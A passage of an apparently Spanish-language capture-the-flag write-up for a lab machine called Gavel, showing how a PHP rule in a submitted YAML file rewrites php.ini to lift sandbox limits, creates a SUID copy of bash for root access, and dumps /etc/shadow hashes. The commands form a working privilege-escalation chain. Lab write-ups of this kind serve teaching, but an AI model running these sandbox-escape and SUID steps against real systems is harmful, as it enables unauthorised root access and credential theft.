auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1
SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$

El archivo php.ini en disable_functions contiene la funcion system.

1
2
3
4
5
# [...]
open_basedir=/opt/gavel
# [...]
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
# [...]

Utilizamos file_put_contents la cual no esta deshabilitada, esto para reescribir el archivo php.ini.

1
2
3
4
5
6
7
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return file_put_contents('/opt/gavel/.config/php/php.ini','open_basedir=');"

Tras su ejecucion vemos que ahora no existen limitaciones.

1
2
3
4
5
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/path.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ cat /opt/gavel/.config/php/php.ini; echo
open_basedir=
auctioneer@gavel:/dev/shm$

Shell

Creamos una copia de bash con permisos SUID, la cual nos permitio obtener acceso root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
auctioneer@gavel:/dev/shm$ cat file.yaml
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc');"
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Jan  7 06:16 /usr/bin/sc
auctioneer@gavel:/dev/shm$ /usr/bin/sc -p
sc-5.1# whoami;id
root
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
sc-5.1# cat /root/root.txt
aa9b8275dccf4af84eac38b7c7e579b1
sc-5.1#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sckull@gavel:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20291:0:99999:7:::
lxd:!:20291::::::
vboxadd:!:20298::::::
mysql:!:20298:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::
sshd:*:20342:0:99999:7:::
_laurel:!:20396::::::
sckull@gavel:~#
Share on

Dany Sucuc
WRITTEN BY
sckull